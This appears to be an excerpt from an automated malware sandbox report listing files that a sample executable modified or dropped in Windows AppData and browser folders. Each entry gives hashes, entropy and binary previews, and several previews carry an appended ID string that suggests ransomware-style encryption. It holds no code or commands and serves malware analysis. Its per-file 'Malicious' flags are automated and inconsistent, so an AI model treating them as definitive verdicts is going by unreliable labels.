SHA-512:	5E945B03EAA05A03838442665A197027687F14B9FEAD516F06C9F671DED510E5E63568963A0516E5E7912E04DADB29EBC3CC18DA27F15299769F0B6702B42D28
Malicious:	false
Preview:	......P(."..p..~..D.../55.l....]....;-X....ul.....&.a.(..=.{G..j...t..nr......T.}..U&.]H....W.....=Y...ZS......l..F4.1..y.@..,....P..`.<.]O.r.Rg.O...jf.Z......u.H.%...P.7......N....J...Cn..q'.9.Df>8.6..K,L.....R....#.'f1...Oh.z2Ye].Y..Y..~..]b~m....:;Vau).u.F....HU....>.OH...Ak.=...Z7.(.&....k..9.=x.^...u...K.;7....\|7-...fJL.$....W..uZ....?B.:G.....z....Dg'.+g...v.G..,.5JTE. t.....L..a..\89.>...{. ....&x....nA....;....O'.T.....J.4.P.8D. ....~..^g....#...R..P.w.8.o........'.~(@F..pv..G.?-...E..ldc...K.KZ Ik........Z..g.Md.9..8.mI...=e."BJ.\|.L....9..........`....[.............`.}'.o...(HI......,..}..PA......w...;...@.....gF..(...sz.1~-%.?d..y.f..1...._Z.<a.....[..2.xD.f.,.t..l.../.l..3Wj.Z.o.J.L..q....By$c.....`....nr...g...-.(.T.JY,u.../a.^%../..`2J.....)TU.a..+...%.Z..{O...@...T..Z...f.Z/.D?.].,!..{.u.........i.e.....g....#..X+L.78.......i.7..d*.BRl,$]...".s.....?\...g+Q5..p8.C...[..........,l..N....[OF...7...9.Q.Yh...W....0.A.y

C:\Users\user\AppData\Local\Comms\UnistoreDB\USSres00002.jrs

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6706653002786925
Encrypted:	false
SSDEEP:	3072:7MQ7ii76tQkvHVbVU+3PBp6wTVJxjmkZnVlatqBFxuKEhZ6O:li5tdvZXfDfXgkJOM2hf
MD5:	2CB0C771BA17689A5B2E7D543DE99B97
SHA1:	ED9A1B046BDFBA06072269D91099CB17D08FA670
SHA-256:	DCB158A72A01DC69B15E304817A73E8B7D4D43544A350A1468E4CE40C140018F
SHA-512:	8CE8ABC9DA91A1D473BFD32FB2D84BBED2F340587DE62FDCDCAFB9E01E943248B61837CC4157206281C0F77F115EC7BDA0042DCF523208353C3C0AAF0912401A
Malicious:	false
Preview:	.....Nph.....f'..p.....0...........%Ii...."..~!.7.....%1.g1.^..9x...8.f.z.@.@.......V.yQ....'.N.W. .........X..wN....u4M..<...P.m5t.\|.c....K......9.4.....j.......{.n.s.8.-...,....J\|.Po..M ....r.+.3....w.p.....dS".9...........1.i\.)^U..t......HY.o...E..........K.....A.(@.h..J.i..&o.gf.,..bhtf...g4u..72}N.^9.w5..._'x.......\..d.M+T.=).....J.x?...'.sQu..~.......X-..a..._.07(...d...sUU......PQ.......D....Q\|..L.q,.<....ma..e+..s...^'@...../$ .\c..l.r.:hG"..I%..fA..p...{.......oQ.P'M.0V2.'.npu..C.3^.+.`n{n....'.=S;.....Yv..Zv..W..zp(.H.......jH.F....o....O}v..\A....=MLOg.k.z......._5...KG. (d+.eT.g...AH..<.C+...#MY...?C.1SQ..x....@}.......x_...Z....[ZR.#.FX.}......9.T^9p...@~I#h.C../l...G.u.6.Zh..C..R..8..@('...uS..i...P#......]......-8..K.3.W....\|y........2T.5W.......i.\<.)i...!3.9.@...'..u.>.p}..5;.QMN.........}..?.6.k,..sk.en..py.....y.U.....m.D.\..I.\....*..g.N...].(..G..ff...{.5u.&....jG....k.`!..."...0....k....l..:f$..A...H.........nx...

C:\Users\user\AppData\Local\Comms\UnistoreDB\USStmp.jtx

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	3146062
Entropy (8bit):	0.6705449245762718
Encrypted:	false
SSDEEP:	3072:ypzxEDHejVO2gq4hHX19DiFteyqaUWHEvxvCFdw/Th/14ljjxOnQE5X0h4nRF:UzxW2g513weyTUjvxvF/1Kjlwuh4j
MD5:	CC1B3E882777ABB8B3E3B7271026F231
SHA1:	C7E946F26334D7AF8D7713567D50E7A71445865A
SHA-256:	248623595CAD685EC164AE59FE3D1A4302A1297E8250665BC947DC0D42E8F983
SHA-512:	F941B4F63C48709795C9C799E6CE41973D5A88587C8F0CD1E0D9B0EFB40726E98989C5E9A6C1D6F10C37BBCED21A5CFB3CA765743314CFF7A162300FDE01A7D0
Malicious:	false
Preview:	.....)y...^........<..!.[;..%.vy-gJ...%...:].{.A.s...RaK...0d..`...n.....M./?..t.Z....g...C!:M.p..Qag2T.T..!...?.a..&}%..UD........d.j..'..1i.E.^l.aA.`.T..^..P.4..Z.......j/"ub..+z...8...]\...}p...q...iY.?Ty&h..C:...-D.....S...>.........vAk..'..r.M..;UYA.@..=.Y...t.<..=......N^f.qK..B..8..>...l.U6W...k..n.N.V........_lI...p.....R[....Rv.@.~./......Un."q.CNDo.r.j.1.=3m[_...g....;@.8y.}.I(GXr<.k.#.L+.-n.Q"..q.........-os.r.Ze...m....0-......5d.X..M..w.k.(..^.....\..<0..j6K.&$...J.....fn..Zs.............V5.f....!......LP.....[.........7..<.&....cD..h.....x'...96.e..b..uT.N...2.C.f. \|.M., .#1...g......@.8..8.q.7.../:%.^..lh..c.....).Rpin..n.....:....0Ep....?w&...>.........`y.\|.M_X..\|N..2.`,zKrV P...4.k.N.uBu ..Z.....B...6.@...`.A..1.7/J...bj[.=...\.....%=...4.&..........G..'~{.:%\.....NV..G..<.....K...)....t.`D.[.......N..'...c8j@gP...u:....qg....&......*O...Y.}.8...4..L6..yJ...(M..@\.f..e(.9....Q............l......7..&.+.vdo0.L..

C:\Users\user\AppData\Local\Comms\UnistoreDB\store.jfm

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988847797854704
Encrypted:	false
SSDEEP:	384:9emhVVoYMEwsA4xx5U0Q5MgmgQD7wtBuLPAaqAndGZZ:koVV9FXxxdQCnJD7wtBubznQZZ
MD5:	9AFC5515DD92E4C1AF63E7788AAD331E
SHA1:	814B76C08D5733C33BD96D84B9D5917F6851A969
SHA-256:	DA5D49E6048459B75F6A9FE14D4F2C5457C645563AACD967DCF744FE70FDC30F
SHA-512:	E5F157E37700D2A09DAD17E84B7B4C3F7885E1D5E53334729A979B19722C6F3069393FE39816E03A8EE3910F6EC6734049AD0AEF535884210CBBDA99B890F1F8
Malicious:	false
Preview:	.......d...\4~...u.....no..%.S.]...T.9.K.R........mI.....J....{n...k...t?....h..t.b..q.r9UF..V?.:....`~.............A.k...@.../..{....h..2..s.6B..Mp..9.P.Mk....v.\|=..=...X..ryI...x]....n..Hl.[!.....:..;\.e..2.L..f...T?A..?ZU#[...KY..{../C...6K..@.2D..........".....M6-...t.......c...9{;...>.e...._R............].hmj\..^.}:m..q\|.}\|.G.}..T.$.....{h.I.0..R2.n#..........$.\|...@i..k.,.y..(./.L.X....R.fE.j..P..Y....h....,.0..u..&...g...a.....[.Y........... .T.....H]J...H.N..0....&.;.......... ..q.2I\|r...o.t..\.r.2:.........O..j..y].....N^.ph.4...1.V.u^..y..!...+.@...]O.:F.l...^.(..K.q...D2o.....-......9..<.H.<....?.Q_T'gH.(.s....}.G....U'l.V.....<.....y.].j..r.w....r..+..\..w-......,....Z..J...8..e....J.N8,........o7d....^v>.........j.....J................k....:.^..H@q..b.5fi....,..b.N..g....#P.Q.o.....T...].s...9u..A...@.......;.</...zQ..$...=~....p.z.#wx...E<.H./..Q._..8V.....;$...e..B.....p.......h..ff..c.5T.%...z.TP.%.wX.`..O...W.xuiWz)c/Nv....

C:\Users\user\AppData\Local\Comms\UnistoreDB\store.vol

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	5767502
Entropy (8bit):	0.7567279690329249
Encrypted:	false
SSDEEP:	6144:ZorFEV6rPLaTJsdDPfewlpCEYsFXTtbTSa+d+gOrOuWxWk3m+cun4CfYjUfSUXi6:Zsfb2CdzeECElZtb0R3b0Q
MD5:	0BD50CC5C01FF8DBC28A0036A8CC9918
SHA1:	F5AB4A9687B7FECF1FF04EE3BF28BE3976EDBC7A
SHA-256:	975859F60AEEE6D50A10279649079A89BABB8F72D50A3AD2E37628E86BCE5B6B
SHA-512:	FE3A779A21C495BE36FF36D9823D780E59237C6681202979D25657F924765A3F7A21BF10ADE19DB8B088552C405608368F7BED9F65B40C0B6CFF1E7CD39FBD5E
Malicious:	false
Preview:	....eY..P}[.....;....J./....X[.7....@ ...........X.Ck.`..!<.......%..o.dO.5W..e.SJ.v...'..[#....^K.A.PJ"......z......mI..B"9.4K1._v.=.8h`.:o.G....Wz.. .E@..Me;...}..O..........5x.g.\|..p..,.d.U....6.G.;...hB....f..T.B.dD.w.kA.....%.....+.S.b3z.V.@.......6".<.4..!..t...MM.3...52.0D..9(.>Yg.j4.....@+.(.$.K.l.....f....'.J..}......>"0.......D.{.....$...A.lL@@.....#f..k.O.e.o. .)...\|. "[..@.vTX....2...fi.SO.9....r.p ....+......k.%..!...........2.]....X.#..B..m...q.0..Z.NU..r.....T.....K.).!s.k9z.^...HX..;-.\.&;..v......f.![.&].6....2u.........LL.~..3.....a........Q..z..JzY.d.D.Q!...3.D..]C.f.3..\|.....3..<.V..7..%xQE\|b..rJ.....b.\..`..5....3B..1.xD4Jf...+..1l.^.3..E.z5.W...4..Cxc...U:ka.m[..'.j8....hG,...Wr.HDDl...g..2..vy].......(...ik...uy%.B=.."..g...a.M.e..pX...J.A2+..>...z...N...w9..../....3..x..-4........+...3c...S........\AU.B.5..R.h>~[..4.D..{.Er....PK.lY..@...f.<.. .P;<........+.....I.u..#G..s7\f.l1-..../...}....0Cu.+...<<...~p.%.4

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\CDPGlobalSettings.cdp

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	5196
Entropy (8bit):	7.963053332785453
Encrypted:	false
SSDEEP:	96:rTXdiT6ZQfD7xjedOWGOMm6XjY6/q/oyHSLcaKbvZbQ4wDSHF:3XdE6g50ODOM5Y5eazC2F
MD5:	79CAE5B49BBD440F911F836DFE434512
SHA1:	6677D9EF74B142CBA595DF66F9D800F30C1F1B4A
SHA-256:	99BC630650DF09DA0883A7961D260CDC3DC089614E0003AC62CFA16B42A40110
SHA-512:	A97BC9A6415472F5F3911118A89BD9FB7111931DA9104A87C5B5671BE539B6F2A6D2269EF22930BEB35911E256BB40263BD6E3B8373F588F6BF13E9245377B54
Malicious:	false
Preview:	.{.~J.Y.J............; . .s.....~...v...`.r...T).....w..}p....P ....&\..l...h0..g..^....]..z..w.P.K.....I.)....tB...8.N....9....,.t..!"[...Veyq.1Wb.....x..,...m..t...D>Gy..8...`...j......M+clZ.pr....`..!.1..X..3.....(...)...r@..=.. ......;..j.\....@.%.d.:2.O.m...._0......6.DT..?\@...v7.<...rSf78.\|.QM~..J.C.]...4X[..u..&%..`.7.....8x.b~......e<.._.....Yf..$......D....%j.=...M...=\|...AnBn?po..`.O.tS=.......`...2...@..}a.....H.x...a#n(aj.$.d.S.LjR..xI-..}.S...%4...c.....&...d....^QE..Mx...LC.=so&Bx.b,G.a..3a..-.W...Du0L.C.?.37D.,.u.y....A.gBQX.W5.....&.Em>y.....F.....D.?...,.iy.....&...1.r.......nV_....&a.1KSJV.}..em....I_b..2.....D.&tW.&.J.s..$>..zY.}v..../.....yV.....).b.<...m.a.....n..A-.,.?4cZ.9#\|...L...@.)....VJ...7f.V...!..c0..d(.....E.E....... "..m....@..B(.j..c..3...5..........=n nkO..,T.(u!......&.X.L......!`.{=.:....D7.b',.4.....j.x.%....8^....`b..r....[.j...+...@9....r.....wCa{-;..bp...1S..g..{M....H..o.UfD.6b..;d.......

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\Connected Devices Platform certificates.sst

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	988
Entropy (8bit):	7.779921735753436
Encrypted:	false
SSDEEP:	24:wTn1wmNfIbqYA3E/WVxpxlYK6rPYoRmMT1mq3zbD:K1w0yU3ESYK6rrvIq3nD
MD5:	473A807E3831EEBFD2A4B0BBEC535410
SHA1:	C02CF4F0A0CE0FC2E354D778F437F2A2A6B4E9DB
SHA-256:	0A4E29C4F822A66D704D0EFC5C6877A137C6FC74FE2AD92259E7D8DE06BCE4D6
SHA-512:	E2C40A10AD84267D4AF241E310C1506AE39832C11941C0FB86C226D2D3C2CF0BB88E31A1CB3CD419ECEFFE10660159B430C5BA079CBD17B981FBB894A7E062A2
Malicious:	false
Preview:	....C2...e...m}...=.....).. .3#...NS......&....}.^...?.Po...H..5.n.Ya\|..t.tw.x.R.....5..Fg..A.Zm.b...p..?...-.Z..v}Tg}.7.......y..7.Z)r9@A.x6.H.tj.5.I<.Ip(...e)O......=....Sjs...P..E.)....0..V...)~s.L...o...Br.~....j.i...[../....8..k..Ge=z.~..(#....i..VoQd)...l.....I.E._....R=.d....8...e.S....b.v..B..#..............haf......{./>..\`.CStF@A...H4..Owf?..q...$`.?..oI.^).......Y......IZu4.e.3W.=.Moc.".Y.@I..>7_^..\|(.d..W..W.X5F...g....d.... ../.,.c.o....._...\|y?...@8.gf.......b....<..j......,.G.....+.....].G......l..y...j.P..Q,.6a..Z..g...K..!x..A.A..=.Q.m&.....T..$8.F1...../.4%...Q.....R......E.F...,E.4eG.e,eg.Z.:....}..Xb..M*1...H.....<F.................<...8.f.N..5...+9.b..~...#$.?f'L......ne...$.,.i..z..z..].......(y..x.......r......./........C..[. <...r...\.t..S........:n4....B...1s..^qk.3......=ga.}.Z.....MN.2.d...m..........A."T.0O..n...C.....x...hQm.x.f.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user.cdp

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1302
Entropy (8bit):	7.839947536252333
Encrypted:	false
SSDEEP:	24:KkVPEJUyZSB5Z+MId/aJhEcVYdLv9rASjDwLf2wsZFKXscwy83T+tsMadXLCFf5E:RWtlMId/cVYdLv9rn3wr2wsZ0PwykTWS
MD5:	6794E82575AADAC88784BCD6C7485C5E
SHA1:	E20C5E39EE51C13885D0A821DC46547F09BB1652
SHA-256:	5A3322E93BD685B2737399460731D60F3EAF065A24EBDE0C23DA828D3EAA5679
SHA-512:	18285E3C96881659DB12CB3F837FDA12B452BD376BE7DE9F98B0AA806A6640DF8DAAC4D3C9D76B90F78A47DBD41FF68B837309CBA5381062FE7E9EFC955E13C9
Malicious:	false
Preview:	.{../....iH...'o....+....~......r.<1...u..uB...02Q....j..)d.-.j,.M.&t.....O........&."..VPw..#.F.r{....&c...u.....`.ib.....q[.u....Q..6.s.......0..;U<J}......)TY.T.g.b(.`..C=7...t..5...-.pI#.)S]>.P..WM.F.R...CX^..-.......Ax...#.K.A.....D@.....G.U.g...~d>....Z.`y.)N....:qj7q...@......i.C.7..y-.5l...4P...g@.....h.J....)..;.-...l..:.UL.d.......~......!........&.oO&.crBZ.....=?.6.d..lnk..q.:.....:..V.....L..0neJ....=$..tFp.^W.t...4I7..2U&S?..j..v../..[...M.7..hM.g`tBO.U'...U.......s....&c.VE9.o...T.6..k.... .+..n_...]LW..JgjR...n.d...G..7..`.~bq_.....o.i..{.Q.[2OU5q.#.x=$..0P.\....l....29..3....."5...q.e.+.....I.1.U..$.v.D...Lp. >v....1.k.>.k.`W.~`....S..WH?.......$...R.hW..........e....D.[.H.d.z.......u..@3......./...~......-.lPP.M.X.s....j..0.s.wk.o'...i....+5.&.d..k)..1.N...l..>.+y.....m.................."M$z....@.....S..b.A.6....<.,...J.p=....R....RXA2.,6...w.PO...^,.o(5.d?...m).1...v`J..F..sz...[$`....@..hz.\|.._.

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user.cdpresource

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.33074697042514
Encrypted:	false
SSDEEP:	12:UOSVqLsy6D/U6GHZFRJoYkMN/oyMOmDW36Wcii9a:UEz6D/UtHLr+MNgydma3zbD
MD5:	985A9DE83A52AB9974F96899B9B902E1
SHA1:	FAF2BB8489D6D9F1B83395A9D8EC93E9641EFA39
SHA-256:	295D7DDB839659F8DE0D382AEBEDC66A89539F5F90E134A629379811503C6FD3
SHA-512:	00D1155CACC5772DE51EE821B41F0B1AAD34B790A97712665A1E8620FEED65A7E2F8328F7E5D9A3F31E6447991C9FB24C98A326FF4711D83F6423580616BE11D
Malicious:	false
Preview:	.{...,.D.$.....v.;.z..H.2.}9.v.\|.4. Z.TA..T..4`.".q8...../.+/..=.......z!V`-....}).V.Y..1....8..5..%9.3.\|"/...2.]..a..3h.0...?.[.R.z.g,}.X...D......fFV.Kh.......>`......IOX..W:.....D.'.....m.%K..Y../..O..u7 }K..1..,.....\]....S.\|$.j.>(.....0....K%V\5....:.J...."....................Hi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.99675698700447
Encrypted:	true
SSDEEP:	1536:ZxjLeF6NCCsgljTZTtWnySIN5L3opcvp2mkh:jevJkjltW5qpopOpfC
MD5:	A82D9AD523FB55FD3678038C89089BEE
SHA1:	278514D2FE1A9A1A9DE8DC114DEC4422914E0452
SHA-256:	E77E2BA062DCC08F331F4DF9DA6CAD335DEB755881A20E304BC5F970E6E0BF49
SHA-512:	2DE63928C72967011F21017188D0DC68F23D7D9E861913004D4BA36E17B5F120F766E306CAB11F4C662097BD82350E0B74D7F78111CF00990AE420CAA5104F10
Malicious:	true
Preview:	SQLit.t..d}..1../..(7(BY..8.....f.z6..C^[..\.x..._..........,...B....O.S.............3X..0.y...D....Sr...............S:..n{..~.......#.."..[..R4g.....^...56.0<...........X.#..!zQh.-...D..7`S. .0....g6...<-X.hK...Jm..........T..21.u7T..._.Y.....w=.>..._yp...Z.....,,A.W.W.$.[82..%ig....J...p"..r.I.Z....?...dyX@4{i.....4.t....=k.......S..#..tmr....C.b..{..e..{..".BtT.Q...G>.?.9Z:...nQ"..#+#r.]nL....2....`......./@.J_.\...Aq..p.P...e.%..gdeZ>..2....b...9...z....{.....Q{.F..XP.x.lK.wY..?.r8..}.dr.d>.l.... ....Hh.9...JS"...d....D..r#...-(n^..0....A.E._s....T.V.(.....y.tf..aQ..!.....a.MZ....)z?...Kt\|? K.H:.0....2.}..UW.)..I..X.d....b.D.<.\|d(.4..ho.h.F..\|/p..M..~.."...{a.^...3Z"..X...T&......[...&...y....a..Xf.\w.#B.t.Q....91..S.9...x.<@.r..I...P..O..bX[..R.3._.v....b...~'..+..W?.....`..a.'..9.Z).K!6.y.m.'[Qx....VN\.'...)...a.t.6..p.cc..O.d..3j...)...v...Av/.....x.B..8..z...j.FX...h.......;y..+we.[......j.(...`@..J$.p.o......7.H.Jq...e...}ms~aK.W..

C:\Users\user\AppData\Local\IconCache.db

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	11913
Entropy (8bit):	7.985812649018027
Encrypted:	false
SSDEEP:	192:hWwA6F0+3ma5c0UZbg+dT1hibympA1B4OOc2+XRHO9GaECH40OTSjZ:hWwdaoiZdLhibVpnO0+XRHdZCHdOe
MD5:	85EA914A1E03C09D2D942040D7DB4B3A
SHA1:	17C48B4B0290421FE44E479645FEB326D917183C
SHA-256:	76C0C439954912DF673695D5E3716ADB170F7CC87A77F5468F7D4A0A0C73FAC8
SHA-512:	125E3BEAA2E7C207A5580673D006C8119E6F6624CA916775C6A57C4E3B0AD35F59AFF2897D5DE8A00C369E99277886304F7719B96C6C50957C619B5C8B64327C
Malicious:	false
Preview:	H...W..v...PLBzl...:t.#2dP.i.MA.U...}...z..R.q.[.w.>f.OQ.U.\|h...m=..P.s.Y...4....f..7.K..Z....?..U.}.\.\|.].jm.j...AqE.I.b2.?iw.1:.9y.d.S..m....}B...).{}....QX..2..S...5.!..%#.8z...S...=N..7.i...e.\|u..`ws.r.....:..r.<RM;...&.Dc..6H>....3...K...M>..W.\.2(....Jb.HJJ-.<6.fG.R.W. .&9.~\|........6..@.F.#..o\.y.es].Ni..x0`>?.T.........?.....q!.../.t./0....._..&\.H.?.q......x..\|..i).....#.d{..W.jE-....!kW.2Z.3G.[Z......`.....R)()......[.1j....RU.i._..4]...p91.?#...P@/.!}h.4..d.....X..<.O..)dt..;..L..i..c"._...h..a[.k......L\|....9?......H..@g>..)p<H...f..;..yjU...]..<.:..bdw3de..1.....@.....p.......cR.t..{.m"Vc..W#...'qlW..."&...=8.s<.<..g..z....O.N..z..g..iS...p...ho".u...b........p.%...~jx..S.F ..nA./....~.w.g;$..\|T..ztG7...?o/x.D`.iK..5.%.Id../nHT..c...cu6.R]...e......ys!.E.s....a....FI...k...5v.b.I..G{.....9........`!...3.P..#..N.9[.D7.7....u....L\|.W...d...=.3E...M.u....,..Y..B.....{....1x.._..9M.}.[O).m.....\|g96}z..._..)..=.d..........n.`

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.297745187031384
Encrypted:	false
SSDEEP:	6:Q7hQV9+YoLHR3I7tW9mQ5qy9amugCCPUeSKLvlY74cC7aUJ/sTYdTROsVolWbz6Q:Q29oLx3GtW9mynugCVAL9Y7hYxD36Wcq
MD5:	1923F54FDBA1E522086552DCBB3A8C2A
SHA1:	6513A996275FCE406164C721F3FC2558BAA44758
SHA-256:	209E1487297948705678D6D56E574081E22E56C371321BA177FF4B8DC6CC0AC1
SHA-512:	851EB39095E600868D26859B084D6A3F7579F304CC1D9781710D44BD7896C174E71C71566D0849D75C32A999ADF55A3AFB2739A9949A27AB1FF2EFDA4E208D6A
Malicious:	false
Preview:	1,"fu.LW..U1F.R......X....0\|..=..D7.d.p@[.c.....I...5....x.A#r.......#d.-..A.r...C.zi`.(.....1_..!@..\.y....QY...v...:sJ._..}C..gc.t....s#..6A':..u.O..J.V.X......T.1x.^>..w~}.4...\.2...Lwm..v.;....T.^....e......`.5^....zX.F..^....K..6.?...v.....O..6.@m.F_tb.vYi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.825850092493502
Encrypted:	false
SSDEEP:	24:kgRWL5ENhYtNYuttwanIhHuAMvGF7qWRnWIaZ6l7AS0D3zbD:kgRA5ENhYtNY+KanIhHuAMOBqWRW4lcT
MD5:	F75692B6A2C9295A8229283A0814F59A
SHA1:	C4D68B9B68D4AC46588D39CDBA481E302C4D6C4F
SHA-256:	1D57585BF503D1B9B6E04202E909E7978D659A0B465C940FD28811C3CB42196E
SHA-512:	7CF12D5845F89F0CEF2B5A93AF6DD3A0BE6D873106B8C955EB69023D54CFCAE4CECE0FC23039DDD6A8B967B70B4C07335B0BD6D5C666883280F7CA95C071E67D
Malicious:	false
Preview:	1,"fu..1..Z.......*;.H89...?......vpX.C.y..U....A....:.8b....K..S........!.8..H"....)......x..o.....W....iN}v..R...@&.u......-..`?....8.....R.m..Z=.._k.]....=n.'.U:..i.AMx..]E....q...L..m$;A.....dz(.3..\|....bbV...O2.R[+...b...8................)8..e....k..t.q....s.D~3...Q/...o.mP.F...L.k.4.P.....s.X.\Km..8r..f..........h.K-.... .b.....ud.k.....Zb..%s@.i.._..a.~.@.Ij... .!!j....+.^.........8..I...s.:..pFv6m..p....%8.].D]h.].S..b.c.!.\|........Q.'.hQ7..?..?b.1.Y5.u.....!........]_Z~.K..JRL..i.f.5...Q.j.....'X...;S".n_.k..'.#e.....<I.G.V'x..9.Mq`~.p...x...)AB.l/......;......z.fa8n..2<....p..O...f.1..rw.q'6..:F2..)C.[...#{.L..C4pw......I.........m.s.i.Hv.l...O....=.2vJ.P.>.!.`..1..?..$0.r./e..w=...^Gj....%I.....n...Zj.\..G...&[)...........<^#..DQ0..;.F....7..K..%f.xm.f..gr:.x..s.._%..BB...^7.[.j.....f....P8...?..}V....x.\|..q.....Aw....hbn...y......5h.......N G.....4.r...z...H2.K.....`.1....`..:Os./.'xVl.(.....j._.Le.)/..~.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics-active.pma

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.98766100133738
Encrypted:	false
SSDEEP:	192:wHJPpjhZIb7llgGTijXkZCXfxghEdIsTB4ugi9DksGthjpEoI785R4W7vuI5bckh:wpxjh+AGkLdIsguyMyiu+yTkYSY0NzkP
MD5:	505AF2BA89A63EF488278E4A2F1A8E5E
SHA1:	A43F383C006CD0BC14CFB898C6E953D4FD3F8A43
SHA-256:	6DD12AC2D0D908867C0DA6749A8C418F15AA19C6CE5EAA9A58BB59CD0EFAB16D
SHA-512:	5BA3BA922E3AFDA2335A22AA1E2D2B8A65384B7EC2C5AD1667910E22466DAD1E27F4E9CEC73383144122D458CD04174B81DD0B69B6BFE903F3C6BE28CE8875FA
Malicious:	false
Preview:	...@.y..o...x...5\r..yJU..zgq..hAkW............h...F.?KaqDV&.zq.......9,~...C.......X...I.....g..Q{?.....v#......?.'..+.}......D-..V.E.../B].(.@2..x%6..i.M9'.....s.\G. ......c..0...=".-..$^.-.J.#L{..?qdT......X.j.=.Ed......f..&C......H..,.......vx."&..s.R.qwQ..Dt^.s.P.Pc.....a.).I.]..)."N..~....Bqk..".Gw.Ai.........._.).C.........r......i.^W.H.....Eg.Q.V..\|Y...Je.1.F7).....Q....Z.......*....3.b..$n..)......9..:..........(.."...h[ h..a....'._.t...zu+5dl.f;.=.+".Y....CCL_m.L.%..Y........\|-.7A...O.m..O.fJ..x..'.r)h...([S.5.N..\|....o..A.vHf.5....R...e.Q.....1.j3..9.Rv.ob6......G).'.\|......a.V.D....a.8.W...bE/.._Q.Y'.;.KR.Lv.:.pU...i..0..OX......@=....y:..@....!..h&.Y...S......,.P...3./...[...Ah.O...aZ9..c..YS.X..LAdg-J>/\|...qS.{q2.X.fF...\.I..ZH.....x..........&@..^...t..01\...E...P....#......tS...q.g..\|44..n.4l_. J...T.X..4....C.&..:Z-.{8....'.0...~.......f..7...'...V......!..D3....g.R...l2..@.4...:.n..D.k.Ut..]A./...K7..0 .....V...W._R".

C:\Users\user\AppData\Local\Microsoft\FontCache\3\ListAll.Json

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	162608
Entropy (8bit):	7.978755963215439
Encrypted:	false
SSDEEP:	3072:NQRA9Ote7Hn+H1X9gdTd9AD7FBICoByIx0FpLh96Z+DXXr6dcJXMccVX3:NQRKOtencgbwWBtx0FpLh5T+doccC3
MD5:	6C925A2CA433C2A5129D391343EBDFF2
SHA1:	E52397D642172C34A8E6B8F193F737F5B62C786A
SHA-256:	92E33D87E68294C958CA9E3B12F4504346A24A8757CC80F00CF09738943F9F09
SHA-512:	3CCD57AE5EFAE31E260CD2B2F90E84D168094562F67F8CDCE36BCE3ADACC2B7B8032075C922711195676002F93FA173AA392038A6FE9FAC6EA0CBA0376C26E81
Malicious:	false
